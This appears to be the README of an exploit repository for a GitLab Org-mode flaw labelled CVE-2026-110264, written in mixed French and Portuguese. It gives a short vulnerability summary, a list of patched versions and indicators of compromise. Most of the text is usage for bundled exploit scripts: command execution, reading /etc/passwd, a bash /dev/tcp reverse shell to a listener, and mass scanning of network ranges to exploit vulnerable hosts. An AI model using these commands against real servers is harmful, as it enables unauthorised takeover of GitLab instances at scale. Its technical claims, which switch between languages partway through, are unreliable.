CVE-2026-110264 - Débordement d'entier Regex dans GitLab CE/EE menant à une RCE non authentifiée | CVSS 10.0 | Par Gh0st-Bx1
AVERTISSEMENT LÉGAL : Ce dépôt a été créé exclusivement à des fins éducatives et de recherche en sécurité. L'utilisation de ces outils contre des systèmes sans autorisation préalable et expresse par écrit est illégale. L'auteur décline toute responsabilité quant à l'usage abusif de ce matériel.
| Champ | Détail |
|---|---|
| CVE | CVE-2026-110264 |
| Surnom | GitLab-Ghost |
| Type | Integer Overflow dans le compilateur de regex (CWE-190) |
| CVSS | 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Composant | GitLab Org-mode renderer - Ruby regex compiler engine |
| Vecteurs | /api/v4/markdown (anonyme) / upload de README.org (authentifié) |
| Authentification | Non requise (unauthenticated) |
| Affecte | GitLab CE/EE >= 7.0, self-managed, < versions corrigées |
| Corrigé | 19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10, 18.11.13 |
| Divulgué | 21 octobre 2026 (correctifs simultanés sur 7 branches) |
Le compilateur d'expressions régulières de GitLab souffre d'un integer overflow lors du traitement
de directives #+TODO: dans des fichiers Org-mode (.org). Lorsqu'une séquence d'alternatives
dépasse la limite du type interne d'IDs du compilateur Ruby regex, un débordement se produit, permettant
l'exécution de code à distance sur le serveur GitLab sans authentification.
La vulnérabilité affecte GitLab self-managed Community Edition et Enterprise Edition depuis la version 7.0 (environ 12 ans de releases). GitLab.com a été corrigé automatiquement.
1. Atacante envia arquivo .org com diretiva #+TODO: contendo 500+ estados alternados
2. GitLab chama o renderer Org-mode ao exibir o arquivo no repositorio
3. O parser cria uma regex para colorir keywords dos estados #+TODO
4. O compilador Ruby regex aloca IDs internos por estado; ao superar ~500,
o counter interno (tipo fixo) sofre overflow
5. Overflow corrompe estruturas internas do compilador -> execucao de codigo
6. Codigo executa com as permissoes do processo git/gitlab
Vecteur anonyme (sans authentification) :
Atacante --> [POST /api/v4/markdown] {"text": "<org_payload>"}
|
GitLab processa conteudo ORG sem autenticar
|
Org-mode renderer -> regex compiler -> overflow -> RCE
Vecteur authentifié (compte gratuit) :
Atacante (conta free) --> cria projeto --> upload README.org
|
GitLab renderiza ao navegar no projeto
|
Mesmo overflow -> RCE como processo servidor
| Branche | Versions vulnérables | Version corrigée |
|---|---|---|
| 19.5.x | < 19.5.1 | 19.5.1 |
| 19.4.x | < 19.4.3 | 19.4.3 |
| 19.3.x | < 19.3.6 | 19.3.6 |
| 19.2.x | < 19.2.9 | 19.2.9 |
| 19.1.x | < 19.1.9 | 19.1.9 |
| 19.0.x | < 19.0.10 | 19.0.10 |
| 18.11.x | < 18.11.13 | 18.11.13 |
| < 18.11 | Toutes (EOL) | Mettre à jour GitLab |
GitLab.com : déjà corrigé automatiquement. Seules les instances auto-hébergées sont affectées.
cve-2026-110264/
poc.py Verifica versao e envia payload Org-mode via /api/v4/markdown
exploit.py Exploit completo: fingerprint, reverse shell, scan em massa
README.md Este arquivo
python poc.py --url http://gitlab.empresa.com --check
python poc.py --url http://gitlab.empresa.com --cmd "id"
python poc.py --url http://gitlab.empresa.com --token glpat-xxxx --cmd "cat /etc/passwd"
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx --cmd "id; whoami; hostname"
# Terminal 1 (listener integrado):
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--reverse-shell --lhost 192.168.1.10 --lport 4444
# Manual com nc:
nc -lvnp 4444
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--cmd "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"
# Scan de CIDR
python exploit.py --scan 10.0.0.0/24 --scan-port 80
# Scan de arquivo + explorar vulneraveis
python exploit.py --scan alvos.txt --token glpat-xxxx --cmd "id"
# Aumentar profundidade de overflow (alvos mais resistentes)
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--depth 1000 --cmd "id"
--url URL do GitLab (ex: http://gitlab.empresa.com)
--cmd Comando a executar (default: id)
--token Personal Access Token (opcional, mais confiavel)
--check Apenas verifica versao e vulnerabilidade
--silent Suprime o banner
--url URL do GitLab alvo
--scan CIDR, range ou arquivo para scan
--scan-port Porta HTTP para scan (default: 80)
--token PRIVATE-TOKEN GitLab
--cmd Comando a executar
--reverse-shell Lanca reverse shell com listener integrado
--lhost IP para receber conexao
--lport Porta para reverse shell (default: 4444)
--depth Estados de overflow (default: 650, max recomendado: 1000)
--check Apenas fingerprint de versao
--threads Threads para scan (default: 30)
--silent Suprime o banner
| Indicateur | Description |
|---|---|
Requêtes POST vers /api/v4/markdown | Tentative d'exploitation anonyme |
Upload de .org avec #+TODO: très étendu | Charge utile de débordement dans les états |
| Processus ruby/gitlab avec des appels inattendus | Worker compromis |
| Connexion sortante inattendue depuis le serveur GitLab | Reverse shell actif |
Remédiation :
#+TODO: contenant de nombreuses alternativesPar Gh0st-Bx1 | https://github.com/Ghost-Bx1